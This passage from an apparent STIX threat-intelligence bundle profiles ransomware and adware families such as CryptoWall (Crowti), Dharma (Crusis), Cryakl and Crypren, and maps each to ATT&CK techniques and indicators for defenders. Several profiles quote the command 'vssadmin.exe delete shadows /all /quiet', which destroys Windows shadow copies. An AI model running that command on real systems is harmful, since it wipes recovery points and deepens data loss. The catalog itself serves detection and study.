      "aliases": [
        "Trojan.Cromptui",
        "Downloader.Cromptui",
        "Win32/Cromptui"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cromptui",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cromptui"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b7fd61d-116c-5ab1-88dd-217d2651f8c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--413cf4e1-6aae-5aa6-93bc-db9afb9b6449",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cromptui exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--906acd7f-0de0-5c26-ae87-6cdf3c7e6eb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--413cf4e1-6aae-5aa6-93bc-db9afb9b6449",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cromptui exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a75a1ee5-aeb8-5023-9933-4951eca84019",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--413cf4e1-6aae-5aa6-93bc-db9afb9b6449",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cromptui exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3ec00d21-807d-53b7-905d-55dab18841dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crossrider",
      "description": "Crossrider (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Crossrider, PUA:Win32/CrossRider, and Adware.Crossrider) is a landmark, highly sophisticated multi-browser adware and monetization framework active since 2011. Originally marketed legitimately as a development framework enabling cross-browser extension deployment for Google Chrome, Mozilla Firefox, and Internet Explorer, Crossrider was extensively weaponized by pay-per-install (PPI) threat syndicates. Attackers bundled Crossrider extensions with freeware utilities, video codecs, and game patches. Once installed, Crossrider injects intrusive advertisements, banner overlays, and affiliate search redirects into web sessions, modifies default search providers, and harvests browsing habits across all installed web browsers on both Windows and macOS endpoints. (Observed samples in benchmark: 39)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Crossrider",
        "PUA:Win32/CrossRider",
        "Adware.Crossrider",
        "Win32/Crossrider",
        "OSX/Crossrider"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crossrider",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crossrider"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0064f238-9bc0-5d24-9326-3a406328f43a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crowti",
      "description": "Ransom:Win32/Crowti is Microsoft's internal detection designation for the infamous **CryptoWall** ransomware family. Emerging in the mid-2010s as a successor to CryptoLocker, CryptoWall (Crowti) was one of the most widespread and financially devastating ransomware strains in history. It pioneered the use of the Tor anonymity network for Command and Control (C2) and heavily refined the Ransomware-as-a-Service (RaaS) affiliate distribution model.<br><br><b>Understanding Crowti (CryptoWall Ransomware)</b><br>To an end-user, the impact is catastrophic: all personal documents, photos, and databases are suddenly inaccessible, appended with random extensions, and the desktop background is replaced with a ransom note demanding Bitcoin payment via a Tor hidden service. For a security team, a Crowti infection represents a severe breach, as the ransomware's robust RSA-2048 encryption (`T1486`) is mathematically impossible to break without the private key held by the attackers.<br><br><b>Execution and Encryption Mechanics</b><br>Crowti was distributed via massive malspam campaigns containing weaponized CHM (Compiled HTML Help) files (`T1566.001`), JavaScript droppers, or via exploit kits (like Angler or Nuclear) (`T1189`). Upon execution (`T1204.002`), it establishes persistence in the Registry (`T1547.001`) and aggressively deletes Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) (`T1490`) to prevent easy recovery. It communicates with its C2 server via heavily obfuscated proxies (like I2P or Tor) (`T1090.003`) to receive its unique public encryption key, and then systematically encrypts user files across local drives and mapped network shares (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total data loss and severe business disruption. Host-based IoCs include EDR alerts for the execution of `vssadmin.exe`, massive bursts of file modification operations, the dropping of ransom notes (e.g., `HELP_DECRYPT.HTML`, `HELP_YOUR_FILES.TXT`), and the presence of the Crowti executable hiding in `%AppData%`. Network IoCs include DNS requests to known Tor gateways or I2P proxies. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crowti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crowti"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccb8807d-c3af-5f08-b86c-161254f2d4d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0064f238-9bc0-5d24-9326-3a406328f43a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crowti exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d240ac6-9379-5de5-a5ea-5f0ecf70cdee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0064f238-9bc0-5d24-9326-3a406328f43a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crowti exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1090.003: Proxy: Multi-hop Proxy (Use of Tor/I2P for C2)",
      "description": "MITRE ATT&CK Technique T1090.003 (Proxy: Multi-hop Proxy (Use of Tor/I2P for C2)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1090.003",
          "url": "https://attack.mitre.org/techniques/T1090/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23965a9c-bbc4-5103-b890-9ad535812425",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0064f238-9bc0-5d24-9326-3a406328f43a",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crowti exhibits technique T1090.003 (Proxy: Multi-hop Proxy (Use of Tor/I2P for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc58f1ef-6354-55ae-bdaf-17770b5c9227",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0064f238-9bc0-5d24-9326-3a406328f43a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crowti exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65f3c95d-45aa-51c7-9316-9467831f7fe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crusis",
      "description": "Crusis (widely known in the cybersecurity community as the CrySiS or Dharma ransomware family and cataloged by Microsoft as Ransom:Win32/Crusis) is an infamous targeted ransomware threat active since 2016. Attacking corporate networks primarily by brute-forcing weakly configured Remote Desktop Protocol (RDP) connections and exploiting vulnerable internet-exposed remote management services, Crusis operators manually execute intrusion operations. Once inside a network, operators deploy administrative tools, terminate database and backup software, and execute Crusis. The ransomware encrypts targeted files across fixed, removable, and network-mapped drives using AES-256 and RSA-1024 encryption, renaming files with dynamic extensions (such as .crusis, .dharma, or .wallet) alongside the attacker's contact email address. Crusis purges Volume Shadow Copies using vssadmin and leaves extortion notes instructing victims on Bitcoin payments. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Crusis",
        "Trojan-Ransom.Win32.Crusis",
        "CrySiS",
        "Dharma",
        "Ransom:Win32/Crusis.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crusis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crusis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8388e505-9c27-5624-a72a-35c201d9463a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65f3c95d-45aa-51c7-9316-9467831f7fe5",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crusis exhibits technique T1133 (External Remote Services)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72d47698-12ee-5593-8c63-5368400056a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65f3c95d-45aa-51c7-9316-9467831f7fe5",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crusis exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27857732-7117-55aa-a6c9-edcdcaaa8d48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65f3c95d-45aa-51c7-9316-9467831f7fe5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crusis exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ce056e8-645f-5997-b698-bc954cdf6691",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65f3c95d-45aa-51c7-9316-9467831f7fe5",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crusis exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b6aa2dc-e4ce-57c0-bf95-8fe81c0fae85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65f3c95d-45aa-51c7-9316-9467831f7fe5",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crusis exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f3e6d89b-9561-56f9-831b-4abf8ff61951",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryakl",
      "description": "Ransom:Win32/Cryakl is a highly destructive, Russian-origin ransomware family first observed around 2014. It is designed to aggressively encrypt a wide range of user documents, databases, and media files, appending a distinct extension (often containing an email address or random characters) to the encrypted files, and demanding a cryptocurrency ransom for the decryption key. It is known for its robust encryption algorithms and targeted attacks against enterprises.<br><br><b>Understanding Cryakl Ransomware</b><br>To a victim, a Cryakl infection is an immediate disaster; their desktop background is changed to a ransom note, and all crucial files are rendered inaccessible. For a security analyst, responding to Cryakl requires immediate, drastic containment. The malware utilizes a combination of RSA and AES encryption, meaning files cannot be brute-forced or decrypted without the attacker's private key. Cryakl also specifically targets network shares, amplifying the damage across the organization.<br><br><b>Execution and Encryption Mechanics</b><br>Cryakl is commonly distributed via malicious spam campaigns (`T1566.001`) containing weaponized ZIP attachments (often disguised as invoices or legal documents) or via RDP brute-forcing (`T1110`). Upon execution (`T1204.002`), it attempts to escalate privileges (`T1068`). Once running, it utilizes the `vssadmin.exe` utility to delete all Volume Shadow Copies (`T1490`), preventing easy system restoration. It then traverses all local drives and mapped network shares, searching for specific file extensions (e.g., .doc, .xls, .jpg, .sql). It encrypts these files using strong cryptography (`T1486`), renames them, and drops a ransom note (usually a `.txt` or `.html` file) in every affected directory. Cryakl often communicates with a C2 server to transmit the unique victim ID and encryption keys (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total data loss and massive operational disruption. The most obvious IoC is the sudden renaming of thousands of files to include a specific, anomalous extension (e.g., `.cryakl`, `.fair`) and the presence of the ransom note. EDR logs will flag the execution of `vssadmin.exe delete shadows /all /quiet`. Network analysts may observe a brief burst of outbound traffic as the malware transmits the encryption keys to the C2 server. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryakl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryakl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2582a19-9b42-598b-bc25-7ebaabe78b76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3e6d89b-9561-56f9-831b-4abf8ff61951",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryakl exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b514812a-8d00-54fc-bce4-b95ea6aebe7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3e6d89b-9561-56f9-831b-4abf8ff61951",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryakl exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies via vssadmin))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67cb39da-6b4d-5fc8-b560-c12045c66186",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3e6d89b-9561-56f9-831b-4abf8ff61951",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryakl exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28720896-9341-54fb-9213-aabcd28aef91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3e6d89b-9561-56f9-831b-4abf8ff61951",
      "target_ref": "attack-pattern--3cea5863-ee5e-5a28-855f-c5dda06ae573",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryakl exhibits technique T1110 (Brute Force (RDP Initial Access))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e86e79d-44df-552b-9830-431b2906447a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryfile",
      "description": "Ransom:Win32/Cryfile is a severe threat classified as Ransomware. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension to the files, and demanding payment in cryptocurrency for the decryption key.<br><br><b>Understanding Cryfile</b><br>To an end-user, a Cryfile infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Cryfile is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, it executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using robust encryption algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryfile",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryfile"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d0a6259-ed93-5c93-9703-446202685ee5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e86e79d-44df-552b-9830-431b2906447a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryfile exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c836910c-54a0-55e0-924e-6eb912e126f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e86e79d-44df-552b-9830-431b2906447a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryfile exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eef96005-92ae-5ef2-a9ac-8c2f552a6f16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e86e79d-44df-552b-9830-431b2906447a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryfile exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ba69ace-0b66-5ff3-976b-198dad8846d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e86e79d-44df-552b-9830-431b2906447a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryfile exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--98027f7b-9b1a-5d62-8c27-5aba7de02f35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crypmod",
      "description": "Crypmod (identified in antimalware research telemetry under signatures including Ransom:Win32/Crypmod, Trojan-Ransom.Win32.Crypmod, and Trojan.Crypmod) is a modular crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through phishing email campaigns containing weaponized office documents and exploit kit redirections, Crypmod initiates rapid host reconnaissance upon execution. It terminates database, backup, and antimalware processes via taskkill, releasing open file locks across local drives and network shares. Crypmod traverses directory trees, encrypting documents, spreadsheets, databases, source code, and archives using AES-256 with an embedded RSA public key. It executes vssadmin commands to purge Volume Shadow Copies, modifies desktop wallpaper to display an extortion notice, and demands cryptocurrency payment in exchange for a decryption utility. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Crypmod",
        "Trojan-Ransom.Win32.Crypmod",
        "Trojan.Crypmod",
        "Win32/Crypmod",
        "Ransom:Win32/Crypmod.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crypmod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crypmod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f8be3c53-ca27-5ec9-bd9f-90b7bfec0990",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crypmodadv",
      "description": "Ransom:Win32/Crypmodadv is a generic detection for a class of highly destructive **Ransomware** and advanced Crypters. It is designed to aggressively infiltrate an endpoint or network, rapidly encrypt all high-value data files, and hold the decryption key hostage until a cryptocurrency ransom is paid. The 'adv' in the detection often denotes advanced obfuscation or anti-analysis techniques utilized by the malware authors to delay detection by EDR systems.<br><br><b>Understanding the Crypmodadv Threat</b><br>To an organization, a Crypmodadv infection is a critical emergency, potentially causing massive operational downtime and data loss. The ransomware explicitly targets documents, databases, source code, and virtual machine images. Modern variants also engage in 'Double Extortion', where the data is exfiltrated to the attacker's servers *before* encryption, giving the attackers leverage to threaten a public data leak if the ransom is ignored.<br><br><b>Execution and Encryption Mechanics</b><br>Crypmodadv is typically deployed laterally via compromised RDP credentials (`T1133`), or via massive phishing campaigns (`T1566`). Upon execution, it aggressively attempts to kill running database services (SQL, Exchange) to unlock files for encryption (`T1489`). It deletes Windows Volume Shadow Copies (`vssadmin.exe delete shadows`) (`T1490`) to prevent easy restoration. It then utilizes strong, military-grade encryption (such as AES-256 combined with RSA-2048) to encrypt files across all local drives and mapped network shares (`T1486`). Finally, it drops a ransom note (usually `.txt` or `.html`) in every affected directory and changes the desktop wallpaper to display the extortion demands.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total loss of access to critical business data. Host-based IoCs include EDR alerts for mass file modification events (thousands of files renamed with a new extension in seconds), the execution of `vssadmin.exe` or `bcdedit.exe`, and massive CPU/Disk I/O spikes. Network IoCs include a massive surge of SMB traffic as the ransomware attempts to encrypt connected network drives and shares. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crypmodadv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crypmodadv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c4532eb-18c0-5bce-a149-d74c7233e626",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8be3c53-ca27-5ec9-bd9f-90b7bfec0990",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypmodadv exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28ca7bf9-26d6-55a6-87da-d9e698c5b2c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8be3c53-ca27-5ec9-bd9f-90b7bfec0990",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypmodadv exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--124ae0f3-152c-5ede-ab51-4e173af87fe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8be3c53-ca27-5ec9-bd9f-90b7bfec0990",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypmodadv exhibits technique T1489 (Service Stop (Killing database services to unlock files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64839310-67ab-584f-aec8-7119d1e1ba8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8be3c53-ca27-5ec9-bd9f-90b7bfec0990",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypmodadv exhibits technique T1133 (External Remote Services (Initial access via RDP))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c9744d9-a62c-52c0-a2f7-874f6bce9bc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crypren",
      "description": "Ransomware:Win32/Crypren is a destructive ransomware variant designed to infiltrate enterprise networks, encrypt critical user data and business databases, and extort the victim organization for a cryptocurrency ransom in exchange for the decryption key.<br><br><b>Understanding Crypren</b><br>To a victim, a Crypren infection is immediately devastating. Suddenly, documents, spreadsheets, and databases become inaccessible, their filenames often appended with a specific extension (e.g., `.crypren`). A ransom note (usually a `.txt` or `.html` file) is dropped on the desktop and in every encrypted directory, demanding payment in Bitcoin and providing contact instructions. For security analysts, Crypren represents a severe, high-priority incident requiring immediate containment to prevent lateral movement across the network.<br><br><b>Execution and Encryption Mechanics</b><br>Crypren is typically deployed by human operators after they have gained initial access via compromised RDP credentials (`T1133`), phishing (`T1566`), or exploiting unpatched edge devices. Once inside, they escalate privileges and use tools like PsExec or WMI to distribute the ransomware payload across the domain (`T1570`). Upon execution on an endpoint, Crypren uses strong cryptography (usually a combination of AES and RSA) to encrypt files (`T1486`). To ensure the victim cannot easily recover, it executes commands to delete Windows Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) and disable automatic repairs 